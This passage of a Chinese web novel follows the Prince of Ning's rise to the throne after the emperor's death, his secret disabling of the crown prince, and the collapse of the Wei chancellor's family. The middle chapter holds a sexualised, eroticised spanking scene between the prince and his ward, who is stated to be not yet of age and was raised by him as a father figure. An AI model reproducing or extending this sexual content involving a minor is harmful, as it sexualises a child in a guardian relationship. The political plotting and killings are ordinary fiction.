这段时间魏金宝的日子很不好过,魏相身为太子党羽,二皇子倒台,他本该春风得意,奈何家里出了个公然和他决裂的逆子,他自己的身体又每况愈下,魏金宝过了最初的掌家瘾后,接踵而来的,便是各种令他头大如斗的棘手问题。 “听说他这次是进宫面圣的,因为前些天有人参魏家霸占良田,侵吞商铺,”荀婴露出了一丝解恨的痛快之色,“就是不知道陛下召宁王进宫是为了什么了,或许是让他负责调查此事吧。” “那这和太子有什么关系?你又是怎么出现在这里的?”张牧皱眉道。 “别急,”荀婴摇摇头,“太子这边,不需要我们操心了,别的我路上慢慢跟你们讲,接下来,得先去一个地方。” “什么地方?”陈叔山问道。 明瑾和他对视一眼,忽然领悟到了荀婴接下来要说的话。 “刑场。” * “我不明白。” 明瑾沉着脸道:“为什么他什么都不肯告诉我,却转头找你说了这么多?” 荀婴颇有种被夹在当中的为难感,干笑一声道:“这个……或许是因为宁王殿下担忧主公的安危?” 但明瑾只是摇了摇头,没有再说话,显然是不相信这个借口。 同样的话,他从小到大已经听了无数遍。 他一步步向着晏祁想要自己成为的方向前进,可费劲千辛万苦后,回头才发现,自以为这样就能与他并肩而行,不过痴心妄想罢了。 他远远地看见了被绑缚在法场之中的明敖,刚下马车,就听到宫城之中传来悠远的钟声,声音响彻云霄: “铛——铛——铛……” 已经做好行刑准备的刽子手停下了。 周遭围观的百姓们在短暂的寂静后,望着远处冒出滚滚浓烟的皇宫,猛烈地爆发出了震耳欲聋的喧哗声。 “走吧,”隔着人群,明瑾深深地看了一眼自家老爹,扭头对其余几人道,“爹应该不会有事了。” 大雍律法规定,每逢皇帝大行,七日之内不得实施死刑。 七日之后,新皇登基,一般会大赦天下以示恩典。 届时,便又是另一番天地了。 明瑾回去时没有再坐马车,他只是逆着街上汹涌疾奔的人潮,带着几分迷茫、几分尘埃落定和几分释然的心情,慢慢地往回家走。 太好了,他想。 毕功于一役,整整十五年,先生终于实现了夙愿。 虽然不知道太子是否还活着,但那狡猾奸诈的皇帝老儿先生都对付得了,没道理对付不了太子,只要先生成功登基,那爹娘的罪行很快就都能被赦免,明家也能东山再起…… “不是回宁王府吗?” 张牧跟在明瑾身后,瞧着他的背影在午时澄澈的日光下,却莫名有些萧索落寞,忍不住皱眉问边上的荀婴。 “喂,明瑾,你要去——” 荀婴拍了拍他的肩膀,打断了张牧的呼喊:“好了,咱们送到这儿就可以了,剩下的路,让他自己走一段吧。” “可是……” 陈叔山也附和道:“我觉得,少爷现在应该需要自己一个人待着。” 明瑾的确需要独处的时间。 但他还是先去了一趟宁府,告诉了阿囡这个好消息。 “真的吗?太好了!” 阿囡喜极而泣,抱着他高兴得差点跳起来:“我就知道!我就知道他们不会有事的!哥,谢谢你!” “谢我做什么,要谢也该谢先生才对,”明瑾苦笑道,“我可是什么忙都没帮上。” “怎么会?” 阿囡眨巴着一双大眼睛看着他,疑惑道:“哥你怎么会这么想?先生这一路走来这么不容易,身边要是没有你陪着,他该多难受啊,说不定都坚持不到今天呢。” “他可不是这么脆弱的人。” “那不一样。” 阿囡小大人似的背着手,摇头晃脑道:“你看,你以前经常抱怨先生让你学这学那,后来还说先生叫你替他批公文,这难道不算功劳吗?而且连我都知道,要不是哥你这些天在宁王府的所作所为传了出去,太子怎么会想着邀请你去游湖?天时地利人和,你和先生还有我,少一样都不行!” 明瑾被她逗笑了:“人小鬼大,还好意思把自己也加上了呢?” “那可不是嘛,”阿囡悻悻然道,“那天晚上,哥你回家的时候,我在墙头看见你的脸色就跟鬼一样,吓得赶紧喊你,不然真怕你想不开。” 明瑾揉了揉她的头发:“确实要谢谢阿囡,帮了我一把。” 这倒是真的。 要不是看到阿囡还在,突逢如此变故,明瑾也不知道自己能不能撑下来。 “那哥为什么要觉得自己没用?”阿囡戳了戳他的脑门,“对于先生来说,你不也是他的救命稻草吗?” 明瑾不由得沉默下来。 他想起了少时夜宿宁府时,时常会在半夜感觉到,有人静静地坐在床畔注视着自己。 他和晏祁刚认识的时候,晏祁正值最艰难的时期,在晏珀的施压下,为了谋取朝堂的一席之地和对方的信任,他手上不得不沾了太多人的血,有罪大恶极的、也有无辜之人的。 而那时候的先生,也不过是个二十来岁的青年人。 明瑾对这些朝堂之争似懂非懂,只知道先生似乎一直很累、很不开心。 本着希望让心上人快快乐乐的想法,他总是会想尽办法和对方贴贴,再做些捶背按摩,送些小礼物之类的举动,顺便也给自己谋些福利。 但无论他做什么,晏祁的反应总是那样平淡,让他不免觉得沮丧。 现在看来,那些孩子气的把戏,或许还是有些用处的吧。 “多谢了,阿囡,”明瑾缓缓吐出一口气,念头通达了许多,他微微笑道,“等爹娘都回来了,养好身体,我就带你去找自己的家人,怎么样?” 阿囡用力点头,但还是特意补充道:“你们也是我的家人!” “是是,阿囡说的一点儿也没错。” 之后明瑾又亲自把阿囡送到了宁王府,这是他答应过的,宁王府的管家今日看上去容光焕发,见他回来,更是笑容满面:“世子是打算先沐浴还是先用膳?还是说身子骨乏了,准备先睡一觉?” “都不了,我回明家。”明瑾望着阿囡被府上嬷嬷带着离去的背影,头也不回地对他说道。 “啊?可、那要是殿下回来了,这……不太好交代吧?” “他这几日应该会很忙,不会回来了。” 明瑾不想留在没有晏祁的宁王府,但他还放心不下阿囡,便扭头淡淡道:“放心,白天我会回来看阿囡的,旁的就不需要你担心了,我自有分寸。” 管家咬牙坦白道:“今日过后,您应该就是大雍未来的太子了,殿……老爷对您的看重,您也是知道的,您孤身一人在外,可有考虑过自己的安危?” “我若现在还待在宁王府,那才是最危险的。” 明瑾不欲与他争辩,摆摆手,转身离开,“若是他问起我来,就说,我在老地方等他。” 他很累了,现在只想回去闷头大睡一场。 什么皇帝太子乱七八糟的,都叫他们见鬼去吧! 如此,一晃七日过去。 “太子殿下情况如何了?” 晏祁端坐在皇宫偏殿的主座上,沉声询问道。 皇宫突遭大火,损失惨重,当然最惨重的损失莫过于陛下的驾崩。只是现在再说这些也于事无补,相比之下,自然是活人更为重要。 听闻宁王询问,下方众人之中,太医令硬着头皮站了出来:“殿下今日仍是高热不退,还时常伴有惊厥,应是那日溺水所致,目前已经用药多日,情况……稍有起效。” 这便是官场说话的艺术了。 一般来说,太医嘴里的“稍有起效”等于“没救了等死吧”,“大有好转”等于“暂时死不了”,而那些真正被铁口直断活不了多久的,往往还能坚持不少时日。 因此听完他这一番话,屋内其他大臣们你看看我我看看你,议论纷纷,面色各异,最终不约而同地望向了坐在上首的晏祁。 “本王府内还有一些珍贵药材,若有需要,跟管家讲一声便是。”晏祁面不改色地说道,完全看不出来他就是背后下黑手之人。 例行问完太子的情况,就该轮到国事了。 一刻也来不及为明面上葬身于火海、实则被猛虎分食的晏珀哀悼,对于空悬的帝王之位,大臣们纷纷摩拳擦掌,重拳出击: “国不可一日无君,为何不先立太孙为皇?如此一来,也更加名正言顺。” “主少国疑,遗患无穷!且太子还活着,何来名正言顺?” “没错,殿下明鉴,提出此建议者其心可诛!” “少给老夫扣大帽子,别以为老夫不知道,你从前和二皇子的那些勾当!” “你血口喷人!殿下,您要为臣做主啊!” 一片混乱之中,忽然传出了一道声音。 “我以为,应让宁王登基!” 此言一出,一殿人瞬间陷入了寂静。 所有人先是看向发言那人,发现竟只是个小小的四品官,好像是刑部的,叫什么……张淼来着? 这人也不知是走了什么狗屎运,前些日子傍上了宁王的大腿,如今宁王乃是大雍最说一不二之人,他自然也跟着飞升。 不过,既然张淼代表着宁王这一派的势力,那难道说,这是宁王本人的授意……? 短暂的寂静后,众人纷纷开始表态: “臣支持宁王为君。” “兹事体大,还要仔细考虑,但若太子当真……也无不可。” “宁王品性温良,若为君定能福泽百姓。” 最后这位拍马屁的得到了不少人的怒目而视——当初死在宁王手里的大臣何止两手之数,这人怎么好意思说出这种话的? 但也有人提出了疑虑,甚至有少数人表达了强烈反对,这些人一般都是铁杆太子党和保皇党,能在晏祁这么多年的经营下还不动摇的,自然也不会是什么简单角色。 “好了,”晏祁打断他们的争执,“张淼,以后切勿再说这种话,叫本王落得个不忠不孝的骂名。” 张淼立刻起身告罪。 这一出戏,倒叫周围的大臣有些搞不明白了。 难道他的这番言论并非宁王授意?可怎么可能呢…… 晏祁继续道:“本王愿亲自前往道观为太子祈福七七四十九日,望上天垂怜太子……” “殿下不可!” 话音未落,底下的人立马坐不住了。 有大臣霍然起身道:“宁王殿下,国不可一日无君!” 还有一位大臣也跟着起身附和道:“是啊,如今陛下刚刚驾崩,太子又重病不起,臣以为,不如由您暂代监国一职。若太子殿下真有什么万一……届时,再另行讨论继位之事。” 太子党自然不愿答应。 但比起宁王直接登基,他们也没有更好的办法了,只能默许了这个建议。 晏祁扫过在场的一张张面孔,把这些人的反应都记在心里,面上则作出一副为难的模样,沉吟起来。 他其实很不耐烦和这帮大臣演这一出戏,奈何“名正言顺”四字关乎到社稷安稳,晏祁也希望将来明瑾继位时,能尽量减少些麻烦,所以只能和他们继续一唱一和,把这出戏演下去。 但他只用了一小部分心神在当下,剩下的那部分,早就飞到了九霄云外—— 那孩子,现在在做什么呢? 他往日在自己面前装无辜的模样,倒是挺适合用来应付这帮大臣的,前排几个保皇党看上去肚皮都快要气炸了。 可惜啊,这帮人也只能强忍着坐在这里,甚至还要对他笑脸相对,毕竟他现在才是大雍的最高掌权者。 这便是曾经晏珀为之痴迷的感受吗? 晏祁在心中冷冷一笑,不过如此。 看着这帮人虚伪的笑容,他只觉得腻烦,恨不得现在就回宁王府,找明瑾洗洗眼睛。 不过说起来,那孩子似乎已经很久没对他撒过娇了,就连看到他笑的次数,也比从前少了不少。 “……宁王殿下,请您做决断吧!” 晏祁的思绪被大臣们的呼喊强行拉回,他按了按眉心,叹息道:“好吧,那在太子痊愈前,本王就暂代监国一职好了。” 放心,他永远也好不了了。 晏祁不动声色地与太医令交换了一个眼神,太医令诺诺地低下头,心里唉声叹气——都是祖宗,一个都得罪不起啊! 但没办法,活蹦乱跳的祖宗总比躺在床上奄奄一息的祖宗强。 早在前几年宁王对他暗中栽培提携时,太医令就知道,迟早会有这么一天的。 宁王此人,野心甚大,又颇有手段。 这样的人,甘愿蛰伏多年隐忍不发,切不可与之为敌啊。 而此时,野心甚大的宁王迫不及待地离宫回到了王府,却听闻了明瑾已经整整七日没在府上过夜的噩耗。 他眼前一黑,脑袋里瞬间闪过一系列针对自己的阴谋,立马一把抓住管家,厉声喝道:“谁允许他擅自离府的?他去哪儿了?” 管家吓得忙把之前明瑾说过的话又复述了一遍,见晏祁神色稍缓,又小心翼翼道:“那个,其实今早小殿下还来府上看望过阿囡小姐。” “……你改口倒是改得快。” 晏祁面无表情地斜了他一眼,虽然不再过度紧张,但想到明家被抄家后的现状,对于明瑾也不免添了几分担忧。 罢了,还是得亲自去看一眼才能放心。 晏祁猜测那小兔崽子八成打的就是这样的主意,但或许是心头大事已了,他现在浑身轻快,反倒从明瑾这番小心思里品出了一丝甜来。 他其实真的很想抱一抱那孩子。 临走前,晏祁去了一趟祠堂,把宁昭公主和木驸马牌位也都带上了。 他承诺过的事情,都已经做到了,这东西也该物归原主了。 晏祁坐在马车里,视线漫无目的地落在牌位陈旧的刻字上。 车轮滚滚,晃动的光斑自木纹上滑过,他又无端想起了明敖那日在牢狱之中,面对他时,几乎低到尘埃里的姿态。 他说,他已经另外托友人照顾好明瑾,自己无需再为那孩子操心; 还说,自己甘愿身先士卒,作为棋子为他铺路,明家剩余的那些财产,也都可以拱手送上,若有朝一日大业将成,皇位他可自取,至于瑾儿,叫他做一世安稳富家翁即可; 即使是晏祁,也不得不承认,明敖此番言辞的情真意切。 末了,他深深叩首,说自己只有一个恳求,那便是希望他放过明瑾。 放过。 哈,多么锥心的字眼。 晏祁抱着牌位,疲惫地靠在车厢上,目光放空地望着摇晃的车顶,垂在空中的指尖牵动了手背上的伤疤,控制不住地轻颤起来。 他这一生,最为珍贵的那点爱意,在旁人眼中,却是根本拿不出手也见不得光的玩意儿。 ……甚至就连他自己,也是这么想的—— 作者有话说:快了……快了……[求你了][求求你了]大家应该懂我意思的,不在压抑中灭亡,就在压抑中爆发[狗头] 第66章 “父皇,您出了好多汗呐…… 晏祁迈进明家大门时, 明瑾正吭哧吭哧地架着梯子,给自家修房顶。 明家败落,一切都要自力更生, 但明瑾实在没想到这个“自力更生”里竟然还包括了砍柴烧水修房顶等等……从前他想都未曾想过的活计。 但没办法, 总不能住漏雨的屋子吧。 明瑾笨拙地蹲在屋顶敲敲打打, 好不容易补完了,额头也出了不少汗。 他站起身, 仔细端详了一番。 嗯, 有点丑。 像狗皮膏药,不伦不类的一块,十分突兀。 不过没关系!他在心里安慰自己,只要不漏雨就成,谁会没事跑到房顶上看啊。 明瑾弯腰收拾好工具, 准备顺着梯子下去, 一扭头, 却看到晏祁正默默地站在底下望着他, 险些一个脚滑摔下去。 晏祁下意识上前一步,见明瑾站稳了身子, 又默默放下了抬到一半的手。 明瑾瞧他那样就来气。 他板着脸,也不跟对方打招呼,冷哼一声,自顾自地摆弄着早就收拾好的工具。 心里却在想着, 先生怎么忽然留须了? 之前不是一直觉得留须太老成吗,难不成, 是为了让自己在一群须发花白的老臣面前显得更有威严些? 不过先生留须……确实看上去更加成熟稳重了,较之从前,倒也别有一番风味。 两个人心里都装着事儿, 就跟比赛谁先开口谁是小狗一样,明明分开时想得要死,有一肚子话想说,可真见了面,却又不约而同地开始装哑巴。 屋顶的太阳灼热,明瑾被晒得有点儿受不了了,他用手背抹了把汗,趁此机会,暗搓搓瞥见晏祁还站在下面,忽然心生一计。 他装模作样地起身,走到梯子边上,抬起脚,恶霸似的,“咣”地把梯子踢开,然后恶狠狠地瞪了晏祁一眼。 注意到男人的神色变了,明瑾志得意满地挑了下眉毛,闭上眼,在心里默念: 三,二,一。 跳! 失重感转瞬即逝。 不出明瑾所料,迎接他的果然不是骨折的疼痛,而是某个口是心非的老流氓紧张的怀抱。 晏祁的臂膀用力锢住他的身体,那力道,几乎要把明瑾的肋骨勒断。 明瑾靠在他怀里,男人胸膛中剧烈的心跳声仿佛和他的融为了一体,他闭了闭眼睛,突然仰起头,狠狠一口咬在了晏祁的喉结上。 搂着他的手臂骤然缩紧。 那一刻,晏祁甚至有种自己被小狼崽子叼住咽喉的错觉,但感受着怀中少年沉甸甸的重量,他浑身血液却在欢呼着奔腾,以致于,连指尖都控制不住地微微颤栗。 “你该下去了。” 他试图松开手,但不知道是因为被叼住喉咙还是别的什么原因,嗓音竟沙哑得可怕。 但明瑾怎么可能给他这个机会? “忘了告诉你,”他勾起唇,像只偷腥成功的猫,“那天下午你来我房里的时候,我其实一直都醒着。” 晏祁脸上的血色在顷刻间褪去,随后又以一种势不可挡的趋势卷土重来,他一把攥住了明瑾几乎要探到自己衣襟里作乱的手,忍无可忍道:“你就非要说出来吗?” “我要是不说出来,你打算演到什么时候?父、亲。” 明瑾毫不畏惧地直视他的双眼,刻意咬重了最后两个字的发音。 晏祁的身体肉眼可见地摇晃了一瞬,他不再与明瑾争论,转身欲走,但明瑾怎么可能让他就这么离开?两人拉扯争执间,竟没注意到脚下的台阶,身体失去平衡倒下的瞬间,晏祁瞳孔骤缩,下意识搂紧了明瑾,明瑾则抬手护住了他的后脑勺。 两人双双倒地,同时发出了一声闷哼。 晏祁摔得眼前一黑,睁开眼时,发现某个小混蛋也正惊魂未定地靠在自己胸前喘气,一张小脸被吓得惨白。 他忍不住道:“方才从屋顶跳下来,也没见你吓成这样。” “那能一样吗!” 注意到晏祁的视线,明瑾慢吞吞地直起上半身,骑在了他身上。 这个姿势…… 晏祁立刻想起了一些,不太方便在光天化之下回忆的记忆。 他额头青筋并起,低声喝道:“下去,成何体统!” “少给我来这一套。” 明瑾才不睬他,盯着晏祁颈侧跳动的血脉,伸出一只手,用力按在了上面,形状漂亮的唇角高高扬起。 晏祁忽然有种不祥的预感。 果然,明瑾居高临下地盯着他,桀桀坏笑了两声,黑瞳明亮狡黠,像只偷腥成功的小狐狸:“听说那皇帝老儿终于走了,还没来得及恭喜宁王殿下,啊不,现在应该要称呼您为陛下了。” “在儿臣看来,父皇哪哪都好,就是这活儿,着实不如嘴硬……” 感受着指尖急促跳动、并且速度还越来越快的脉搏,明瑾满嘴跑火车,一口一个“儿臣”“父皇”地喊着,专门往晏祁最受不了的点上戳。 这老家伙不是天天在意这些在意的要死吗?那他就来帮他脱脱敏! 叫他日日听夜夜听,最好听到耳朵起茧子为止! 晏祁只恨自己方才一时心软,着了这小混蛋的道。 不然现在他就不会被明瑾骑在身上挑衅,少年柔软且富有韧性的臀部压在他的腰间,晏祁满头大汗,想要挣脱,又怕明瑾当真不管不顾把他那处当扶手来抓,一时进退两难。 简直是孰可忍孰不可忍! 而且这小王八蛋越长大脸皮越厚,小时候稍微板着脸对他说两句重话,还能叫他自我反省讷讷不敢言,如今只怕是连打带骂,他连眼皮都不会再眨一下了。 “你闹够了没?”晏祁隐忍道,虽然面色看不出太多异样,但他毕竟还是个男人,做不到真正的坐怀不乱。 “我来是为了通知你,赶紧搬回王府去,一个人住在这荒废的大宅子里,像什么话!” “我不。” “……你若是担心你爹娘,我会叫人先安排他们住在别处,放心,不会再叫他们出事的,”晏祁的语气已经缓和了许多,到最后甚至称得上是在哄了,“跟我回去吧。” “我不。” 晏祁拳头忽然有些痒:“你到底要怎样才愿意回去?” 明瑾脱口而出:“让我当皇后。” 他再也不会上晏祁的当了! 狗屁的太子,爱谁当谁当去吧。 晏祁深吸一口气。 不能生气,他告诉自己。 不能生气。 他要是现在气死了,就便宜太子那帮人了。 但是—— 看着少年摆出一副“你要是不答应我打死也不会走”的倔强神情,实则眼神忐忑等待他回应的模样,晏祁沉默许久,忽然松了口:“跟我回去,这件事……可以商量。” 明瑾眼睛一亮:“真的!?” 晏祁不答,只是冷哼道:“你走不走?” “走走走!” 明瑾嘴上高兴答应,但看着平日里高高在上的宁王殿下,脸上露出无可奈何的纵容神情,顿时觉得天晴了雨停了,他明瑾又行了。 他清清嗓子:“我还有一个要求。” “休要得寸进尺。” “……讲。” 方才还垂头丧气的明瑾立马笑颜逐开,他俯下身,双肘撑在晏祁的头部两侧,感受着身下人骤然急促的呼吸和隔着衣料也源源不断蒸腾而上的灼热体温,他也不自觉地紧张起来,眼神闪烁着不敢多看,睫羽乱颤,嘴上却调笑道:“父皇,您出了好多汗呐。” 晏祁心中早已把这小王八蛋按在身下揍成了八瓣屁.股,他看着还在不知死活挑衅自己的明瑾,干脆直接闭上了眼睛,装作自己是一具尸体。 虽然尸体浑身上下哪哪都硬。 而他只集中一点。 但很快,晏祁就装不下去了。 明谨很快便不局限于只是嘴上挑衅,唇上柔软的触感让晏祁的眼皮狂跳,少年没骨头似的伏在他身上,慢斯条理地用唇磨蹭着他紧抿的唇线,又顺着脸颊轮廓,自上而下,一点点用轻吻勾勒他的下颌线。 耳畔响起含笑的耳语:“见面时都忘了说,父皇留的须很好看,但儿臣还是更喜欢您不留须的模样,毕竟,这样更显年轻嘛。” 晏祁霍然睁眼,死死地盯着明瑾。 “你嫌我老?” 明瑾故作迟疑:“这老不老的,儿臣怎么知道呢?不过儿臣常听人说,这男人过了三十岁,那就大不如前了,什么今日乏累啦,于理不合啦,都不过是力不从心的借口……啊!” 这世上没有一个男人,能被心上人骑在身上暗指不行,还能面不改色地忍下去的。 没、有、一、个。 晏祁自然是个正常男人,他一把将明瑾掀翻,在少年的惊呼声中,毫不客气地扯下明瑾的裤子,扬起巴掌,啪啪啪就是几下狠的。 明瑾的喊声很快再上一次楼,他这辈子都没想到,自己临近成年还能被脱裤子打屁.股,在短暂的懵逼后,他一边骂人一边拼命挣扎起来,但晏祁丝毫不为之所动,哪怕明瑾骂得再难听挣扎得再厉害,他也依旧没有任何动容之色,只是目光沉沉地落在少年那布满殷红手掌印的雪臀上,将桃子掰开,毫不客气地再度甩上一巴掌。 “啪!” 明瑾闷哼一声,浑身战栗犹如过电,他不可置信地扭头看向晏祁,对上了一双平静中暗藏着惊涛怒浪的金眸。 “记住,不要随便挑衅我。”晏祁这个时候,甚至还能平心静气地与他对话,虽然他现在连呼出的气息都滚烫得吓人,“你口中的‘不要脸的老东西’,比你多活了十三年有余,见过的,尝过的,可不是你那点笨拙的小伎俩能比的。” 明瑾眼中浮现出一层水雾,他倔强地瞪着晏祁:“见过的尝过的?你还尝过哪个?” 晏祁抬起的手一顿。 他无可奈何地叹了口气,为明瑾抓重点的能力。 真是冤家,他想。 但他最终还是用动作代替了回答,不听话的孩子,就该好好教训一顿,只是孩子大了,不能再像小时候那样单纯的体罚,得换另一种……让他更加记忆深刻的方式才行。 晏祁掰开成熟欲滴的桃子,冷酷道:“二十下,自己报数。数完结束,数不完就继续受着。” “啪!” “啊!晏祁你混蛋!” “啪!” “呜呜……老、老东西,你给我等着!” “啪!” 一下下水花四溅,明瑾的身体抖得不像话,余光瞥见晏祁又高高举起了巴掌,粗糙的掌心里闪过可疑的水光,身体瞬间控制不住地绷紧,白皙的脊背也因此弓成一道漂亮的弧度。少年疯狂摇头躲闪,脊椎自下而上流窜的那股疯狂刺激却叫他无处可逃,几欲崩溃。 最后他终于受不住了,开始颤抖着报数:“一、一……” “十、十三……不要了……” “先生求你,我错了……唔!十五……” “爹、爹……十……” “九”字明瑾抖了半天都说不出口,晏祁垂眸凝视着他瘫软成泥的模样,桃子已经成熟到了极限,他的忍耐也已经濒临到了极限。就在那根弦将要崩断之际,眼前又闪过了那一线天光下,明敖朝自己跪下叩首的画面。 晏祁的指尖蜷缩起来,一点点捏成了拳头。 最后一次,他对自己说。 这是他最后一次放过这孩子。 第二十下,他没有再打下去,只是沉默着帮明瑾整理好衣裳,用已经湿透的裤子擦干净少年尚在打颤的纤瘦长腿,然后把人抱进了卧房里,又去后院的水井打了一桶清水来,一点点为明瑾擦拭干净。 他打水回来时,明瑾仍倒在床上,呆呆地望着头顶的幔帐,一副魂游天外的模样。 听到脚步声,少年艰难地移动眼珠子,看到晏祁平静的神色,下意识哆嗦了一下。 太可怕了。 明瑾发誓,就连之前老丁头打他的那顿手板,都没留给他这么深刻的心理阴影。 这老流氓果然不是什么正经人,一般人哪里想得出那种……那种惩罚手段来? 也不知道是从哪里学来的。 明瑾摸了摸牙,一把夺过晏祁手里浸湿的帕子:“我自己来!” 晏祁也由着他,但完全没有要避嫌的意思,只是站在窗边看着他弄。明瑾可没他这么心大,狠瞪了某人一眼,艰难地钻进被窝里把自己弄干净了,又顶着一头乱蓬蓬的头发钻出来,上上下下地盯着晏祁,别别扭扭地问道:“喂,你那边不需要处理一下吗?” 晏祁意味不明地看了他一眼,不答反问:“帕子用完了?” 明瑾下意识点了一下头,见晏祁接过去,又把剩下的半桶水一起提到了隔壁,关上房门,呆愣许久后,脸颊一点点红成了番茄。 这老流氓! 太不要脸了!简直变.态! 他一拳捶在床铺上,颇有种无能狂怒的架势。 明瑾怎么也想不明白,明明今天刚见面的时候一切都如他所料,是自己对晏祁耍流氓,怎么到后来,他还是成了被占便宜的哪个呢? 究竟是哪里出了问题? 直到坐上了回宁王府的马车,明瑾都一直在思考这个问题。 但没过两天,他就再也顾不上琢磨这些了。 因为大雍境内发生了两件惊天动地的大事: 第一,太子的烧退了。 但他的病虽然治好,却因为长时间的高热不退,变成了一个只知道傻笑的疯子。 而比起一个只知道傻笑啃手指头玩的疯子,这第二件事,则更加叫明瑾揪心—— 北方的瓦图尔部落,率大军入主王庭,立国号为“乌菟”,与此同时,大雍国内却仍在为新君人选争执不休,各地因为中央内乱难以顾及,之前晏珀埋下的种种隐患接二连三地爆发,颇有种屋漏偏逢连夜雨的架势。 终于,在某一日的临时早朝上,张淼再次站了出来,掷地有声道: “若再不立新君,大雍危矣!” “于国于民,国不可一日无君。臣张淼,恳请宁王殿下登基!!!”—— 作者有话说:晏祁:我再给这孩子最后一次选择的机会。 小明:暗搓搓准备搞波大的[坏笑] 第67章 一副正人君子的模样…… 外忧内患之下, 太子党本就节节败退,张淼这次站出来,更是压倒骆驼的最后一根稻草。 三辞三让后, 晏祁称帝已是板上钉钉。 对此, 京城几家欢喜几家愁, 明瑾和宁王府上下自然为此欢欣鼓舞,但另一边的相府, 却是一片愁云惨淡。 “爹!爹您不能死啊!” 魏金宝看着强撑着病体去上朝, 却因为难改大局、气得只剩下一口气被人抬回家中的魏相,哭得撕心裂肺。 这次他的悲伤是情真意切,丝毫没有掺假。 毕竟以现在的局势,新皇上位后,魏家的根基必定岌岌可危, 大哥离家出走, 老爹又病入膏肓, 则意味着他成为了魏家的话事人, 届时头一个被新皇敲打收拾的对象。 爹!大哥!你们快回来啊,他一个人坚持不下来! 兴许是被魏金宝的哭声唤回了最后一丝力气, 躺在床上的魏相艰难地睁开眼,浑浊的眼球挪了挪,定定地看着自己这个不成器的小儿子,开口发出了呃呃啊啊的声音。 魏金宝的哭声戛然而止。 他膝行向前, 用力吸了吸鼻子,惊喜道:“爹, 您醒了?” 见爹似乎是有什么话想对他说,他赶紧俯下身,将耳朵凑到魏相跟前, 听到他爹颤颤巍巍道:“你……收拾家当,北上……去找你兄长……” 魏金宝惶然道:“爹,哥他去哪儿了?而且咱们在京城这么大的家业,难不成说不要就不要了吗?” 魏相摇了摇头,似乎还想说些什么,魏金宝赶紧又凑得更近了些:“爹想到了,宁昭公主的……财宝,就在……” 他嘴唇嚅动着,拼尽全力想要把最后半截话说出口,但就像是耗干灯油的烛火,那一缕光,很快便从他的瞳孔中消散了。 魏金宝呆愣在原地。 许久之后,他扑倒在地,发出了一声痛不欲生的嚎哭:“爹啊!你怎么就这么死了啊——” 宁昭公主的财宝在哪儿,您倒是把它说完啊! 三日后。 相府全员缟素,魏金宝和一众家眷木然站在灵堂大门前,望着外面空荡荡的街道发呆。 魏家衰败,朝中众人皆看在眼里,加之魏相往日风评恶劣,只知行溜须拍马之事,如今他去世,竟根本没多少人来探望祭拜。 魏金宝本以为今日又会如此,直到府上下人跌跌撞撞地跑来,急促道:“老爷!太子……太子马上就来了!” “太子?他不是疯了吗?” 魏金宝下意识皱起眉头,呵斥道:“胡言乱语的奴才,拉下去掌嘴!” 那下人被架起来,吓得瞬间拔高了声音:“老爷饶命啊!再给奴才一百个胆子也不敢欺瞒您,门外真是太子!” “不是太子,是宁王府世子,”一道魏金宝十分熟悉的、懒洋洋的声音从外面传来,明瑾带着一老仆款款而来,朝相府众人、尤其是魏金宝露出了一抹笑容,“哟,好久不见啊。” 看着不请自来的明瑾,魏金宝霎时瞪圆了眼睛。 “你……你来这儿做什么!?” 他险些一口气没上来,指着明瑾的鼻子大喊道。 明瑾诧异地看了他一眼:“还能干什么?当然是落井下石啊,你知道的,我又不是什么大度的人。你魏金宝三番五次针对我想置我于死地,难不成,我还不能原样奉还了?” 魏金宝一张脸憋得青紫,刚想叫护院把这混蛋轰出去,明瑾周围杀气腾腾的禁军侍卫就纷纷亮出了刀剑。 犹如被人当头泼了一盆冰水,他吓得退后一步,被愤怒充斥的大脑终于后知后觉地想起,宁王如今的身份早已是今非昔比了。 明瑾大摇大摆地越过他,走到灵堂中央,在魏金宝紧张忐忑的注视下,还当真像模像样地捻了香,插.进了香炉里。 虽然动作敷衍,也根本不遵循正常人祭拜的礼仪,但好歹没有真把他爹的棺材板掀了。 见状,魏金宝不禁暗暗松了一口气。 但很快他就发现,自己这口气松早了。 “我没兴趣跟死人作对,你爹虽说作为宰相,对大雍没有什么建树,但若仅限如此,我至少会尊称他一句魏相。” 明瑾转过身来,冷冷地盯着额头渗出冷汗的魏金宝,“可惜,他还是棋差一着,晚节不保。” “明瑾,你不要太过分!” 魏金宝色厉内荏地瞪着他:“你可知何为死者为大?当着魏家上上下下的面,在我爹的灵堂内仗势欺人,就算你真是太子,老子也要去陛下面前参你一本!叫群臣都为我父、为魏家评评理,看看究竟是你这个欺负孤儿寡母的太子占理,还是我魏金宝占理!” “先且不论魏相多年未曾娶妻,哪儿来的寡母,就你,还孤儿?” 明瑾背着手,上下打量了一番面前起码有一百八十斤网上,身量肥大的魏金宝,忍不住摇摇头:“要是孤儿都长你这副模样,还能被人欺负去,那可真是奇也怪哉了。” “你!” “还有,”明瑾毫不客气地怼他,“你魏金宝居然也好意思说别人仗势欺人?真是滑天下之大稽,要是书院里那些曾经受你‘恩惠’的同窗们听到了,想必也定会笑掉大牙!” 魏金宝捏紧了拳头,后槽牙咬得咯吱咯吱响。 他如何能不知道,如今形式早已颠倒?以明瑾现在的身份,早已成为了他需要巴结讨好的对象,只不过面对曾经瞧不起的商人之子,魏金宝实在是拉不下这个脸。 “你究竟是靠什么蛊惑了宁王,才有了今天的世子之位?”他死死盯着明瑾,低吼道,“别用外面流传的那一套什么‘寄养在外’的说辞来敷衍我,我知道的,你跟宁王根本没有血缘关系!你也绝对不可能是什么宗室子!” 明瑾淡淡地哦了一声,反问道:“跟你有关系吗?” 他见魏金宝还在死撑,也失去了继续跟对方扯皮的耐心。这次他主动到相府来,的确存着看魏金宝笑话、顺便替自己和友人们出一口恶气的想法,可临出发前,宫里快马送来的一则旨意却让明瑾改变了想法。 他的立场,向来是站先生这一边的。 先生想要皇位,他就是乱臣贼子;先生成了皇帝,那他就一心向着皇权,任何胆敢违逆皇权、危害大雍的人,都是罪人。 “你大哥魏伯贤,假意与家中决裂,实则带着魏家大半财产北上投奔胡人,还游说胡人各部族南下攻打大雍,你可知道?” 看着脸色刷地惨白的魏金宝,明瑾的声音冰冷:“虽然你我是死对头,但到了今日,就连我也不得不对你升起了一丝同情——这么多年来,你爹对你可真是始终如一。” “你那么希望得到他的关注认可,他却一直未曾重视过你,为了保你大哥,甚至还安排了你留在京城执掌家族,为他打掩护,丝毫不顾若事发之后,留在京城的你会不会被依照叛国罪处死。” “想必你自己也发现了吧,自己掌控的魏家,其实早就是个空壳子了?” 魏金宝再也支撑不住,腿一软,跪倒在地。 